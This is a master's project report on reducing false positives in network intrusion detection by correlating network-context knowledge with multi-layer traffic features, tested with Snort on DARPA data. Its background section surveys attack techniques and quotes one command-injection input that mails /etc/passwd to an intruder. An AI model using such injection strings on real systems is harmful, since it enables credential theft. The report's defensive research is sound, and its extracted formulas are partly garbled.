Docstoc

Ph

Document Sample
Ph Powered By Docstoc
					A Correlation Approach for Network Intrusion Detection System

                     Master Project Report


                             Ye Wang


               Advisor: Prof. Hussein Abdel-Wahab




                   Department of Computer Science
                      Old Dominion University
                         Norfolk, VA 23529


                            April, 2008
Abstract

       Intrusion Detection System (IDS) is one of the most important security protection
mechanisms. Although many IDS commercial products and research projects exist, we still face a
serious problem under current systems, a high false positive rate.
       We observe that current network IDSs work on information that is only available on lower
layers of the network or on higher layers, but not on both. They don’t make full use of the
information available from different levels and points of the protected network.
       We argue that by correlating the information on different layers, we can have a more
efficient anomaly detection system. we introduce a new framework for network intrusion detection
system based on a Network Context Awareness (NCA) layer as another data source. With the
knowledge from the NCA layer, network IDS will be clearly aware of what the working
environment is and therefore it could more effectively detect possible attack attempts when NCA
and network traffic data are correlated together. Within the framework, we also propose a new
layer correlation technique for anomaly detection, which correlate information from different
network layers, such as network, transportation and application layers. Bayesian networks and
statistical analysis are used to build normal system models for the anomaly detection engine. The
prototype system is tested on tcpdump traces including normal and anomalous email activities. Our
experimental results show that our proposed solution is capable of reducing false alarm rates.




                                                  i
Contents
1. Introduction ................................................................................................................................. - 1 -
2. Background ................................................................................................................................. - 2 -
   2.1 Intrusions ............................................................................................................................... - 3 -
      2.1.2 Typical Intrusion Scenario ............................................................................................. - 6 -
   2.2 Intrusion Detection System ................................................................................................... - 7 -
      2.2.1 Host-based IDS .............................................................................................................. - 9 -
      2.2.2 Network-based IDS ........................................................................................................ - 9 -
   2.3 Detection Techniques .......................................................................................................... - 10 -
      2.3.1 Anomaly detection ....................................................................................................... - 11 -
      2.3.2 Misuse detection ........................................................................................................... - 12 -
4. Research Work .......................................................................................................................... - 12 -
   4.1 Network Context Awareness ............................................................................................... - 13 -
      4.1.1 NCA information.......................................................................................................... - 14 -
      4.1.2 How to obtain NCA information .................................................................................. - 15 -
      4.1.3 Correlation of NIDS and NCA ..................................................................................... - 15 -
      4.1.4 Prototype design and implementation .......................................................................... - 16 -
   4.2 Layer Correlation ................................................................................................................ - 21 -
      4.2.1. Feature types ............................................................................................................... - 21 -
      4.2.2. Features on multiple layers ......................................................................................... - 21 -
      4.2.3. Layer correlation ......................................................................................................... - 23 -
      4.2.4 Experiments and results ............................................................................................... - 25 -
5. Conclusions ............................................................................................................................... - 29 -




                                                                          ii
1. Introduction
It is very important that the security mechanisms of a system are designed to prevent unauthorized
access to system resources and data. However, completely preventing breaches of security appear to
be unrealistic at present. We can, however, try to detect these intrusion attempts so that action may
be taken to repair the damage later. This field of research is called Intrusion Detection.
       Intrusion detection has been studied for at least two decades since the Anderson’s report [1].
As a second line of defense for computer and network systems, intrusion detection systems have
been deployed more and more widely along with intrusion-prevention techniques such as password
authentication and firewalls.
       Why do we need Intrusion Detection Systems (IDSs) since we’ve already have many
security tools like access control and firewalls? There are several reasons. First, in practice, it is not
possible to build a completely secure system. Miller [2] gives a compelling report on bugs in
popular programs and operating systems that seems to indicate that (a) bug free software is still a
dream and (b) no-one seems to want to make the effort to try to develop such software. Designing
and implementing a totally secure system is thus an extremely difficult task. Second, the vast
installed base of systems worldwide guarantees that any transition to a secure system, (if it is ever
developed) will be long in coming. Third, cryptographic methods have their own problems.
Passwords can be cracked, users can lose their passwords, and entire crypto-systems can be broken.
At last but not least, even a truly secure system is vulnerable to abuse by insiders who abuse their
privileges.
       While the Internet is playing a more and more important role in our life, it is also becoming
a dangerous and costly place. Since its inception, there has been a consistent and steady rise in
network and system security incidents and the number of potential attacks will continue growing
while the number of computers and networks connected to the internet is growing and new products
are being released. At the same time the cost of the incidents is growling significantly in recent
years. The Code Red worm in 2001 alone caused an estimated $2 billion in damages and cleanup
costs. Shortly after that, the Nimda worm was unleashed, with over $2.5 billion in loss. In the eighth
annual CSI/FBI Computer Crime and Security Survey, 251 of 530 companies surveyed reported
losses of nearly $202 million.
       A Computer Emergency Response Team (CERT) report released in April, 2004 also
supports this statement. From January through December 2003, the CERT/CC received 542,754

                                                  -1-
email messages and more than 934 hotline calls reporting computer security incidents or requesting
information. It received 3,784 vulnerability reports and handled 137,529 computer security
incidents during this period. While in 2002 and 2001 there were only 82,094 and 52,658 incidents,
respectively.
       Besides these incidents and losses, the most troubling problem is perhaps that many security
incidents go undetected. Companies and governments have the intention not to report security
incident to avoid competitive disadvantage and negative publicity. The threat of electronic terrorism
is becoming a reality. Intrusion detection system is one of the dependable defending systems to
defeat these threats.
       Research on intrusion detection is still rather active due to the quick pace of change in
information technology. Active researches in intrusion detection area include solutions to detect
unknown attacks using various techniques such as statistic model, data mining and neural network;
integrated systems with the capabilities to correlate alerts from different IDSs; network IDSs that
are able to work in a high-speed gigabit network environment. Although we’ve seen many fruitful
researches conducted and many successful commercial products implemented in these years, the
intrusion detection technique itself still faces two major problems--high false positive rate and lack
of capability to detect novel attacks effectively.
       The objective of this research project is to investigate a correlative context-based framework
for IDS to reduce the high false positive rate and detect new novel attacks more effectively. Current
network IDSs don’t make full use of the information from the protected network. They just monitor
network traffic without the knowledge of what they are protecting. The only data source is the
network traffic. We propose a Network Context Awareness (NCA) layer as another data source for
network IDS. With the knowledge from NCA layer, network IDS will be clearly aware of what the
working environment is and therefore it could more effectively detect possible attack attempts when
NCA and network traffic data are correlated together. Within the framework, we also propose a
new correlation technique for anomaly detection—layer correlation.


2. Background
In this section, we will present the background knowledge of intrusion detection system. We will
discuss IDS definition, classification and detection techniques in detail.




                                                     -2-
2.1 Intrusions
Software always has bugs. System Administrators and Programmers can never track down and
eliminate all possible holes. Intruders have only to find one hole to break in.
1. Software bugs
Software bugs are exploited in the server daemons, the client applications, the operating system, and
the network stack. Software bugs can be classified in the following manner:
       Buffer overflows: Almost all the security holes in the press are due to this problem. A typical
example is a programmer who sets aside 256 characters to hold a login username. The programmer
may think nobody will ever have a name longer than that. But a hacker thinks, what happens if the
input username is longer than that? If hackers do the job just right, they can send 300 characters,
including code that will be executed by the server so that they will break in the system. Hackers find
these bugs in several ways. First of all, the source code for a lot of services is available on the net.
Hackers routinely look through this code searching for programs that have buffer overflow
problems. Secondly, hackers may look at the programs themselves to see if such a problem exists,
though reading assembly output is really difficult. Thirdly, hackers will examine every place the
program has input and try to overflow it with random data. If the program crashes, there is a good
chance that carefully constructed input will allow the hacker to break in.
       Unexpected combinations: Programs are usually constructed using many layers of code,
including the underlying operating system as the bottom most layer. Intruders can often send input
that is meaningless to one layer, but meaningful to another layer. The most common language for
processing user input on the web is PERL. Programs written in PERL will usually send this input to
other programs for further evaluation. A common hacking technique would be to enter something
like "| mail < /etc/passwd". This gets executed because PERL asks the operating system to launch
an additional program with that input. However, the operating system intercepts the pipe '|' character
and launches the 'mail' program as well, which causes the password file to be emailed to the intruder.
       Unhandled input: Most programs are written to handle valid input. Most programmers do
not consider what happens when somebody enters input that doesn't match the specification.
       Race conditions: Most systems today are "multitasking/multithreaded". This means that they
can execute more than one program at a time. There is a danger if two programs need to access the
same data at the same time. Imagine two programs, A and B, who need to modify the same file. In
order to modify a file, each program must first read the file into memory, change the contents in
memory, then copy the memory back out into the file. The race condition occurs when program A

                                                 -3-
reads the file into memory, then makes the change. However, before A gets to write the file,
program B steps in and does the full read/modify/write on the file. Now program A writes its copy
back out to the file. Since program A started with a copy before B made its changes, all of B's
changes will be lost. Since you need to get the sequence of events in just the right order, race
conditions are very rare. Intruders usually have to tries thousands of time before they get it right,
and hack into the system.

2. System configuration

System configuration bugs can be classified in the following manner:
        Default configurations: Most systems are shipped to customers with default, easy-to-use
configurations. Unfortunately, "easy-to-use" means "easy-to-break-in". Almost any UNIX or
Windows machine shipped to you can be hacked in easily.
        Lazy administrators: A surprising number of machines are configured with an empty
root/administrator password. This is because the administrator is too lazy to configure one right now
and wants to get the machine up and running quickly with minimal fuss. Unfortunately, they never
get around to fixing the password later, allowing intruders easy access. One of the first things a
intruder will do on a network is to scan all machines for empty passwords.
        Hole creation: Virtually all programs can be configured to run in a non-secure mode.
Sometimes administrators will inadvertently open a hole on a machine. Most administration guides
will suggest that administrators turn off everything that doesn't absolutely positively need to run on
a machine in order to avoid accidental holes. Note that security auditing packages can usually find
these holes and notify the administrator.
        Trust relationships: Intruders often "island hop" through the network exploiting trust
relationships. A network of machines trusting each other is only as secure as its weakest link.
3. Password cracking
This is a special category all to itself.
       Really weak passwords: Most people use the names of themselves, their children, spouse/SO,
pet, or car model as their password. Then there are the users who choose "password" or simply
nothing. This gives a list of less than 30 possibilities that an intruder can type in for themselves.
        Dictionary attacks: Failing the above attack, the intruder can next try a "dictionary attack".
In this attack, the intruder will use a program that will try every possible word in the dictionary.
Dictionary attacks can be done either by repeatedly logging into systems, or by collecting encrypted


                                                  -4-
passwords and attempting to find a match by similarly encrypting all the passwords in the dictionary.
Intruders usually have a copy of the English dictionary as well as foreign language dictionaries for
this purpose. They all use additional dictionary-like databases, such as names (see above) and list of
common passwords.
        Brute force attacks: Similar to a Dictionary attack, a intruder may try all possible
combinations of characters. A short 4-letter password consisting of lower-case letters can be
cracked in just a few minutes (roughly, half a million possible combinations). A long 7-character
password consisting of upper and lower case, as well as numbers and punctuation (10 trillion
combinations) can take months to crack assuming you can try a million combinations a second.
4. Sniffing unsecured traffic
        Shared medium: On traditional Ethernet, all you have to do is put a Sniffer on the wire to see
all the traffic on a segment. This is getting more difficult now that most corporations are
transitioning to switched Ethernet.
        Server sniffing: However, on switched networks, if you can install a sniffing program on a
server (especially the one acting as a router), you can probably use that information to break into
client machines and trusted machines as well. For example, you might not know a user's password,
but sniffing a Telnet session when they log in will give you that password.
        Remote sniffing: A large number of boxes come with remote monitoring (RMON) enabled.
While the bandwidth is really low (you can't sniff all the traffic), it presents interesting possibilities.
5. Design flaws
        Even if a software implementation is completely correct according to the design, there still
may be bugs in the design itself that leads to intrusions.
        TCP/IP protocol flaws: The TCP/IP protocool was designed before we had much experience
with the wide-scale hacking we see today. As a result, there are a number of design flaws that lead
to possible security problems. Some examples include smurf attacks, ICMP Unreachable
disconnects, IP spoofing, and SYN floods. The biggest problem is that the IP protocol itself is very
"trusting": hackers are free to forge and change IP data with impunity. IPsec (IP security) has been
designed to overcome many of these flaws, but it is not yet widely used.
        UNIX design flaws: There are number of inherent flaws in the UNIX operating system that
frequently lead to intrusions. The chief problem is the access control system, where only 'root' is
granted administrative rights.



                                                   -5-
2.1.2 Typical Intrusion Scenario
A typical scenario might be:

1. Outside Reconnaissance

        The intruder will find out as much as possible without actually giving themselves away. They
will do this by finding public information or appearing as a normal user. In this stage, you really can't
detect them. The intruder will do a 'whois' lookup to find as much information as possible about your
network as registered along with your Domain Name (such as foobar.com. The intruder might walk
through your DNS tables (using 'nslookup', 'dig', or other utilities to do domain transfers) to find the
names of your machines. The intruder will browse other public information, such as your public web
sites and anonymous FTP sites. The intruder might search news articles and press releases about your
company.

2. Inside Reconnaissance

        The intruder uses more invasive techniques to scan for information, but still doesn't do anything
harmful. They might walk through all your web pages and look for CGI scripts (CGI scripts are often
easily hacked). They might do a 'ping' sweep in order to see which machines are alive. They might do a
UDP/TCP scan/strobe on target machines in order to see what services are available. They'll run utilities
like 'rcpinfo', 'showmount', 'snmpwalk', etc. in order to see what's available. At this point, the intruder has
done 'normal' activity on the network and has not done anything that can be classified as an intrusion. At
this point, a NIDS will be able to tell you that "somebody is checking door handles", but nobody has
actually tried to open a door yet.

3. Exploit

        The intruder crosses the line and starts exploiting possible holes in the target machines. The
intruder may attempt to compromise a CGI script by sending shell commands in input fields. The
intruder might attempt to exploit well-known buffer-overrun holes by sending large amounts of data. The
intruder may start checking for login accounts with easily guessable (or empty) passwords. The hacker
may go through several stages of exploits. For example, if the hacker was able to access a user account,
they will now attempt further exploits in order to get root/admin access.

4. Foot Hold




                                                     -6-
        At this stage, the hacker has successfully gained a foot hold in your network by hacking into a
machine. The intruder's main goal is to hide evidence of the attacks (doctoring the audit trail and log files)
and make sure they can get back in again. They may install 'toolkits' that give them access, replace
existing services with their own Trojan horses that have backdoor passwords, or create their own user
accounts. System Integrity Verifiers (SIVs) can often detect an intruder at this point by noting the
changed system files. The hacker will then use the system as a stepping stone to other systems, since
most networks have fewer defenses from inside attacks.

5. Profit

The intruder takes advantage of their status to steal confidential data, misuse system resources (i.e.
stage attacks at other sites from your site), or deface web pages.



2.2 Intrusion Detection System
The National Institute of Standards and Technology (NIST) defines Intrusion detection as ―the
process of monitoring the events occurring in a computer system or network and analyzing them for
signs of intrusions, defined as attempts to compromise the confidentiality, integrity, availability, or
to bypass the security mechanisms of a computer or network‖ [3]. It also states that Intrusions are
caused by attackers accessing the systems from the Internet, authorized users of the systems who
attempt to gain additional privileges for which they are not authorized, and authorized users who
misuse the privileges given them. Intrusion detection systems are software or hardware products
that automate this monitoring and analysis process.
        The concepts of false positive and false negative are essential in IDS. False positives are
those sequences of innocuous events that an IDS erroneously classifies as intrusive, while false
negatives refer to intrusion attempts that an IDS fails to report. The reduction of both false positives
and false negatives is a critical objective in intrusion detection. Modern IDSs are extremely diverse
in the techniques they employ to gather and analyze data. Most rely, however, on a common
architecture for their structure: a detection module gathers data that may contain evidence of
intrusions; an analysis engine processes this data to identify intrusive activity, and a response
component reports intrusions.
        Intrusion detection allows organizations to protect their systems from the threats that come
with increasing network connectivity and reliance on information systems. IDSs have gained


                                                    -7-
acceptance as a necessary addition to every organization’s security infrastructure. There are several
compelling reasons to acquire and use IDSs [3]:
          To prevent problem behaviors by increasing the perceived risk of discovery and
           punishment for those who would attack or otherwise abuse the system,
          To detect attacks and other security violations that are not prevented by other security
           measures,
          To detect and deal with the preambles to attacks (commonly experienced as network
           probes and other ―doorknob rattling‖ activities),
          To document the existing threat to an organization
          To act as quality control for security design and administration, especially of large and
           complex enterprises
          To provide useful information about intrusions that do take place, allowing improved
           diagnosis, recovery, and correction of causative factors.
       There are several types of IDSs available today, characterized by different monitoring and
analysis approaches. Each approach has distinct advantages and disadvantages. Furthermore, all
approaches can be described in terms of a generic process model for IDSs.
       Many IDSs can be described in terms of three fundamental functional components:
          Information Sources – the different sources of event information used to determine
           whether an intrusion has taken place. These sources can be drawn from different levels
           of the system, with network, host, and application monitoring most common.
          Analysis – the part of intrusion detection systems that actually organizes and makes
           sense of the events derived from the information sources, deciding when those events
           indicate that intrusions are occurring or have already taken place. The most common
           analysis approaches are misuse detection and anomaly detection.
          Response – the set of actions that the system takes once it detects intrusions. These are
           typically grouped into active and passive measures, with active measures involving some
           automated intervention on the part of the system, and passive measures involving
           reporting IDS findings to humans, who are then expected to take action based on those
           reports.
       Based on different criteria, we have mainly two kind of classification for IDSs. Depending
on the information source, IDSs are divided into host-based and network-based designs. Depending
on the detection technique, IDSs are divided into misuse detection and anomaly detection. Some

                                                  -8-
IDSs integrate misuse detection and anomaly detection techniques, some are hybrid systems with
both host-based and network-based components. We will briefly discuss these types below.

2.2.1 Host-based IDS
Host-based intrusion detection systems (HIDS) were among the first intrusion detection systems
ever been developed. These systems collect and analyze data that originate on a computer that hosts
a service, such as a Web server. Once this data is aggregated for a given computer, it can either be
analyzed locally or sent to a separate/central analysis machine.
       Denning [4] describes an approach that builds profile based on login times and resource (file,
programs) that users access. Simple statistical methods are used to determine whether observed user
behavior conforms to the stored model.
       Possible host-based IDS implementations include monitoring OS audit mechanisms, like
event log, RDMS audit sources, user activities (login, logout, and shell commands), executions of
system programs (system calls, file access).
       There’s a special host-based IDS called Application-based IDSs that analyze the events
transpiring within a software application. The most common information sources used by
application-based IDSs are the application’s transaction log files. The ability to interface with the
application directly, with significant domain or application-specific knowledge included in the
analysis engine, allows application-based IDSs to detect suspicious behavior due to authorized users
exceeding their authorization. This is because such problems are more likely to appear in the
interaction between the user, the data, and the application.

2.2.2 Network-based IDS
Network-based intrusion detection systems (NIDS) monitor packets on the network wire and
attempts to discover if an attacker is attempting to break into a system.
       It has the capability to use live network traffic as the data source, ensuring that what is
captured is what is seen on the wire. Unlike host-based IDS, network-based IDS can notify system
administrators instantly when an attack was noticed. The faster an administrator is notified, faster
they can respond. With faster notification, it can reduce the damage caused if the attack was
successful.
       Also it can detect unsuccessful attacks and worn on malicious intent. The discovery of
unsuccessful attacks can lead to notification of further attempts from the attacker.


                                                 -9-
       Like a burglar alarm, network-based IDSs are commonly deployed at the access points to a
network – the Internet, modem pools, VPN connections, and WAN connections. They inspect
network traffic (watch for violations of protocols and unusual connection patterns), also monitor
user and application activities by looking into the data portion of the packets. Network-based
systems are ideal for monitoring for external abuse and reconnaissance attacks.
       As opposed to monitoring the activities that take place on a particular network, Network-
based intrusion detection analyzes data packets that travel over the actual network. These packets
are examined and sometimes compared with empirical data to verify their nature: malicious or
benign. Because they are responsible for monitoring a network, rather than a single host, Network-
based intrusion detection systems tend to be more distributed than host-based IDS. Software, or
appliance hardware in some cases, resides in one or more systems connected to a network, and is
used to analyze data such as network packets. Instead of analyzing information that originates and
resides on a computer, network-based IDS uses techniques like ―packet-sniffing‖ to pull data from
TCP/IP or other protocol packets traveling along the network. This surveillance of the connections
between computers makes network-based IDS great at detecting access attempts from outside the
trusted network.
       There’re a kind of IDSs which are hybrids of host-based IDSs and network-based IDSs. The
information sources in such systems are from both host and network, and analysis tool correlated all
these information. Such kinds of systems are usual complex, but they have the advantages of both
host-based and network-based IDSs.

2.3 Detection Techniques
Intrusion detection techniques can be classified into two categories: misuse detection and anomaly
detection. Misuse detection act similar to virus scanners looks for signatures (i.e., the explicit
patterns) of known attacks in their input data, and any matched activity are considered an attack.
Anomaly detection models the subject’s (e.g., a user’s or a program’s) behaviors, and any
significant deviation from the normal behaviors is considered the result of an attack. In practice,
both misuse detection and anomaly detection are often used as complementary components in IDSs.
There are strengths and weaknesses associated with each approach, and it appears that the most
effective commercial IDSs use mostly misuse detection methods with a smattering of anomaly
detection components.



                                               - 10 -
2.3.1 Anomaly detection
Anomaly detection assumes that all intrusive activities are necessarily anomalous. This means that
if we could establish a "normal activity profile" for a system, we could, in theory, flag all system
states varying from the established profile by statistically significant amounts as intrusion attempts.
It tries to detect the complement of ―bad‖ behavior.
       The main issues in anomaly detection systems thus become the selection of threshold levels
so that neither of the above 2 problems is unreasonably magnified, and the selection of features to
monitor.
       Among the first host -based anomaly detection systems, Denning’s model [4] uses statistical
methods to build system profile based on user activities and monitor if the deviation of user
behavior is significant enough to generate an alert. As a consequence the focus was shifted from
user to program behavior. The execution of a program is modeled as a set of system call sequence
[5] which occurs during ―normal‖ program execution. When the observed sequences deviate from
the expected behavior the program is assumed to perform something unintended, possibly because
of a successful attack. Other researchers use neural networks [6] and concentrate on the analysis of
the input data that is passed to programs.
       Network-based anomaly detection systems do not concentrate on activities at hosts but focus
on the packets that are sent over the network.
       Examples of anomaly-detection models include the statistical models used in NIDES
(NIDES/STAT) [7] and HAYSTACK [8]. Anomaly detection has the potential to detect unknown
attacks; however, it is not as effective as misuse detection for known attacks.
       A typical anomaly detection system is shown in Figure 1.

                            Update profile



                                                  Statistically     Attack
     Audit Data             System Profile        deviant?          State




                      Generate new profiles dynamically

                    Figure 1, a typical anomaly detection system




                                                 - 11 -
2.3.2 Misuse detection
It assumes there are ways to represent attacks in the form of a pattern or a signature so that even
variations of the same attack can be detected. It tries to recognize known ―bad‖ behavior.
       The main issues are how to write signatures that encompasses ALL possible variations of
the pertinent attack and how to write signatures that do not also match non-intrusive activity.
       Major approaches to misuse intrusion detection systems include expert systems, model-
based intrusion detection, state transition analysis, pattern match.
       A typical misuse detection system is shown in Figure 2.

                             Modify existing rules



                                                     Rule match?       Attack
     Audit Data              System Profile                            State



     Timing
     Information               Add new rules

                     Figure 2, a typical misuse detection system



4. Research Work
Although many commercial and research IDSs are available, almost all of them still have two
problems--high false positive rate and unable to detect novel attacks effectively. Overwhelming
amount of false positives cost time and money to investigate and often cause real attack to go
unnoticed. Most misuse detection systems using signature or pattern match IDSs are unable to
detect unknown attacks. Anomaly detection techniques are claimed to be able to detect unknown
attacks in theory. But the accuracy and effectiveness still need to be improved. The problems of
false positive and false negative are even more serious for anomaly IDSs.
       We will focus on these two problems only on Network IDSs (NIDSs). Current NIDSs don’t
make full use of the information from the protected network. They just monitor network traffic
without the knowledge of what they are protecting. The only data source they work on is the
network traffic. We propose a new framework for network intrusion detection system based on a
Network Context Awareness (NCA) layer as another data source for NIDS. With the knowledge
from NCA layer, NIDS will be clearly aware of what the working environment is and therefore it


                                                     - 12 -
could more effectively detect possible attack attempts when NCA and network traffic data are
correlated together. Within the framework, we also propose a new correlation technique for
anomaly detection—layer correlation, which correlate information between different network layers.
We believe layer correlation, combined with NCA layer, will go further to solve the two problems.
       The objective of this work is to reduce false positive rate and to detect novel attack. We will
focus on the idea of NCA layer and the correlation of NCA and other components in NIDS. The key
is correlation. In real life, many problems can not be solved when knowledge only in one field could
be obtained. For example, to detect a possible terrorist attack, not only information from customs
and airlines in USA are necessary, but also information from other countries and even information
about money flow in and out of USA are needed. We believe to detect a possible network intrusion
to a protected network, it is important to correlate all kinds of information that could be obtained.
       In this project, we will investigate there are two correlations: the correlation of the NCA
layer knowledge and network traffic; the correlation of information from different network layers
traffic, like IP, TCP/UDP and application layer, with NCA knowledge.

4.1 Network Context Awareness
       One of the inherent issues with traditional network IDS (NIDS) is the lack of fundamental
information about the protected network. They operate with no knowledge of the network
components they are defending, which leads to a great deal of ambiguity. The only data source they
work on is the network traffic. The NIDS cannot always determine what traffic reaches a given host
or how that host will interpret the traffic, and attackers may exploit this ambiguity to avoid
detection or cause misleading alarms.
       In order to correctly analyze a stream of traffic, the NIDS must first determine which
packets reach the target host it is monitoring and then, for those that do, interpret them exactly as
the target host does. The ambiguity is also the main reason for the high false positive rate. The key
idea is to acquire sufficient knowledge about the network being monitored that, by using it, the
NIDS can tell which of those packets will arrive at their purported recipient and how they will be
interpreted.
       NCA should acquire enough knowledge of the protected network in order to reduce the
ambiguity involved in NIDS. What kind of NCA knowledge do we need? An ideal situation is that
we should know everything possible about the protected network itself, which means NCA
knowledge includes all static and dynamic information, as well as all live network traffic data.


                                                 - 13 -
Provided with such a complete working context, NIDS should be able to investigate an alert or an
attack attempt and get a better result. But this extremely detailed information is not practical or
necessary. For network intrusion detection, in most cases, we believe digested or abstracted traffic
data are adequate to assist current intrusion detection techniques.

4.1.1 NCA information
NCA builds profiles of the network activities of all hosts and services inside the network; a NIDS
may then use these profiles to help the interpretation of the network traffic. We believe the
following four types of network information are useful for intrusion detection and should be
included in the NCA.
       (1) Network static information
The static information includes the fixed configuration of the network itself that does not change
frequently during the operation of the network. It includes the following: hosts, services, network
devices and network topology map etc.
       (2) Dynamic information
Dynamic information will usually change during the operation of the network and some of this
information is only available when live traffic data is generated. Examples of dynamic information
are: active hosts, active services, active network connections, traffic abstraction, keyword extraction
for application level protocols, information different from static information etc.
       (3) Known vulnerabilities of hosts and services
As described in the next section, using vulnerability scan tools, it is possible to scan the whole
network and get a vulnerability profile for each host and service. Vulnerability may have a patch
available, which should be applied when possible. However in many cases, patches are not always
available, or there are restrictions to applying such patches, and, it always take time to apply the
patches. The vulnerability profile could also be input and managed by system administrator. The
possible vulnerability profile includes: vulnerability types, related hosts, services, behavior, known
attacks, available patches and etc.
       (4) Statistical profile of network traffic
The statistical NCA profiles are traffic abstractions and digests. They tell about the network, hosts
and services activities and thus provide important background information for alert analysis and
help detect anomalous activities. The statistical profiles could be built based on each host, service




                                                    - 14 -
and protocol. Major profiles attributes include total traffic sent/received by all hosts, TCP
connection information, bandwidth, traffic distribution, packet distribution, network usage etc.

4.1.2 How to obtain NCA information
There are three methods for acquiring all the network context knowledge for NIDS.
       (1) Manual input from the network administrator, usually for a network topology map, host
and service configuration. Initially and whenever major changes happens, manual input of network
information may be required to reflect the changes that may not be observed by scanning or passive
monitoring.
       (2) Active probing using network scan tools. NCA will periodically scan the protected
network using tools like Nmap[9], Nessus[10] and Ntop[11] to get more detailed information about
host operating systems, services and vulnerabilities.
       (3) Passive monitoring in real time for dynamic information. The NCA component will
passively sensor network traffic like a normal NIDS sensor. It will monitor active hosts, services,
protocols and their changes.
Method 2 and 3 are offline methods to collect NCA knowledge, which means their work is
independent of the work of NIDS, while NIDS requires the information provided by these two
methods. The information acquired through these three methods may not always be consistent. The
difference and changes are particularly important for NIDS to investigate. Different priorities may
be given to the information acquired by different methods where inconsistency occurs.



4.1.3 Correlation of NIDS and NCA
Basically, NCA knowledge acts as an additional data source for traditional NIDS. Correlation of
NIDS and NCA could happen in two places.
       (1) Integrated module
It works as a ―Correlation Engine (1)‖ in Figure 3. NCA is a sub-module or plug-in as an extension
in an existing NIDS.
       (2) Independent module
It is a ―Correlation Engine (2)‖ in Figure 1. The NCA information and alerts generated from a NIDS
are independent where the NCA information is applied offline to the NIDS generated alerts.




                                                 - 15 -
                                Figure 3. Correlation of NIDS and NCA



4.1.4 Prototype design and implementation

(1) System architecture
The prototype system serves to demonstrate the idea of NCA and how the correlation of NCA and
NIDS can reduce false positives and the workload of alert analysis. In this prototype system,
Snort[16] is used as an NIDS to generate alerts. All NCA information is stored in a MySQL[12]
database. Two network traffic analyzers and a correlation engine is written in Perl.
       As an offline solution, tcpdump data can be fed into the system instead of the real-time
network traffic data. In this way, tcpdump data contains the same content and synchronized
timestamps as real-time network traffic data so that it can simulate real traffic in the evaluation tests.
Static NCA information is collected by active probing tools like Nmap[9] and Nessus[10], while
two Perl scripts work on tcpdump files to extract dynamic and statistical NCA information. At the
same time Snort takes the same tcpdump file as input and output all alerts in the MySQL database.
Then the correlation engine works on these alerts and NCA rules to group and weights alerts, based
on correlation rules, and output a classified alert report.




                                                  - 16 -
                                     Figure 4. Prototype system architecture


(2) Correlation rules
In this prototype, we consider a few correlation rules. Each alert has two properties, group and
weight, which define its emergency and priority in the report. First, we group all alerts into four
different groups based on the static and dynamic NCA information. Each group has a default weight.
The more emergent alerts are put into groups with higher default weights. Table 1 shows the
definition of the four groups.
                                         Table 1: Alert group definitions




              Second, statistical NCA information provides network activity background for alert analysis.
It is used to adjust each alert’s weight. An alert triggered by Snort in an unusual network activity
period deserves more attention so that its weight is increased to reflect this change.
The unit time in which statistical NCA information is computed could be set to 5, 10, 20, 30 or 60
seconds. Statistical NCA information currently only includes:
PSip (i) :    avg. IP packet size per second in unit i
PNip (i ) :   avg. IP packet number per second in unit i
PNtcp(i) :    avg. TCP packet number per second in unit i


                                                         - 17 -
PNudp(i) :   avg. UDP packet number per second in unit i
BPS(i ) :    avg. number of bytes per second in unit i
The average value and standard deviation of these measures on previous n unit time are computed
as  (n, i) and  (n, i) respectively. They define the acceptable scope of normal network traffic in
these n  1 unit times. Then we determine how significantly the current value in unit time i varies
from the average value by the following formulas:
              abs( PSip (i )  PSi p( n, i ))
K 1(i )                                       .
                     PSi p( n, i )
              abs( PNip (i )  PNi p( n, i ))
K 2 (i )                                        .
                      PNi p( n, i )
              abs( PNtc p(i )  PSt c p( n, i ))
K 3(i )                                           .
                      PSt c p( n, i )
              abs( PNudp (i )  PNudp( n, i ))
K 4 (i )                                            .
                      PNudp( n, i )
              abs( BPS(i )  BPS ( n, i ))
K 5(i )                                         .
                     BPS ( n, i )

Here    i  time(alert ) .   The function      time(alert ) gets   the sequential number of unit time when the alert
happens. The alert’s weight is then adjusted as follows:
                             5
Weight ( alert )        C
                          j 1
                                 j    Kj


Based on the experiments we conducted, we found that there was very little udp traffic among the
test data so we currently set the coefficients C1 to C5 as follows:                     C1  1, C 2  1 / 2, C 3  1 / 2, C 4  0 and C1  1 .




(3) Experiments and results
We tested our prototype system on a small network with the DARPA evaluation dataset [19] and
simulated attack tools. The experimental network consists of a Linux box where Snort and other
tools reside and a few other computers with different operating systems and services. Simulated
attacks are conducted from the Linux box and recorded by tcpdump at the same time.
             The attack-free test data of DARPA dataset was used to simulate background network traffic
in our test network. The tcpdump file was sliced into 20-minute segments. The first 20-minute
segment was analyzed as the normal system behavior and a statistical model was built to present the
normal behavior. Nessus and Mucus [20] were used as attack tools on the test network. The attack
lasted about 17 minutes. Attack traffic was recorded by tcpdump and then combined with the
second 20-minute DARPA attack-free data. The combined tcpdump file was tested against Snort.
Alerts were stored in a MySQL database. Two NCA analyzers also analyzed the combined tcpdump
file for statistical and dynamic NCA information. Additional statistical NCA information on this


                                                                      - 18 -
tcpdump file was obtained by using Tcpstat [21] and other tools. All NCA information was also
stored in the MySQL database.
                  The target address of Nessus was the subnet 192.168.0.0, and the target address of Mucus
was wide open while there were only 7 hosts on the network. There were limited services running
on each host and the vulnerabilities of these services were less than 20 total.
                  The total attack number detected was 2304. All attacks were divided into the following four
groups:
(1) Attacks on vulnerability of services: 3
(2) Attacks on services on active hosts: 73
(3) Attacks on active hosts: 1430
(4) All other attacks: 798
                  The attacks began after 20 minutes, i.e. at the 241st unit time. A unit time was 5 seconds.
We can see from Figure 5 shows that four statistical measures change significantly.

                                                      BPS Chart

          3000000
          2500000
          2000000                                                                             bps
  bps




          1500000                                                                             avg bps
          1000000                                                                             bps sd
             500000
                      0
                          1   34 67 100 133 166 199 232 265 298 331 364 397 430 463
                                               Unit Time (5s)



                                          IP Packet Number/Second Chart

                  1200
                  1000
  Number/Second
    IP Packet




                    800                                                         ip pkg num/second
                    600                                                         avg ip pkg num/second
                    400                                                         ip pkg num/second sd
                    200
                      0
                          1   44 87 130 173 216 259 302 345 388 431 474
                                          Unit Time(5s)




                                                             - 19 -
                                                       TCP Packet Number Chart

                      6000
  TCP Packet Number


                      5000
                      4000                                                                  tcp packet num
                      3000                                                                  avg tcp pkg num
                      2000                                                                  tcp pkg num sd
                      1000
                         0
                             1   31 61 91 121 151 181 211 241 271 301 331 361 391 421 451
                                                     Unit Time(5s)



                                                        IP Pakcet Size Chart

                      1600
                      1400
                      1200
                      1000                                                                  ip pkg size
  Bytes




                       800                                                                  avg ip pkg size
                       600                                                                  ip pkg size sd
                       400
                       200
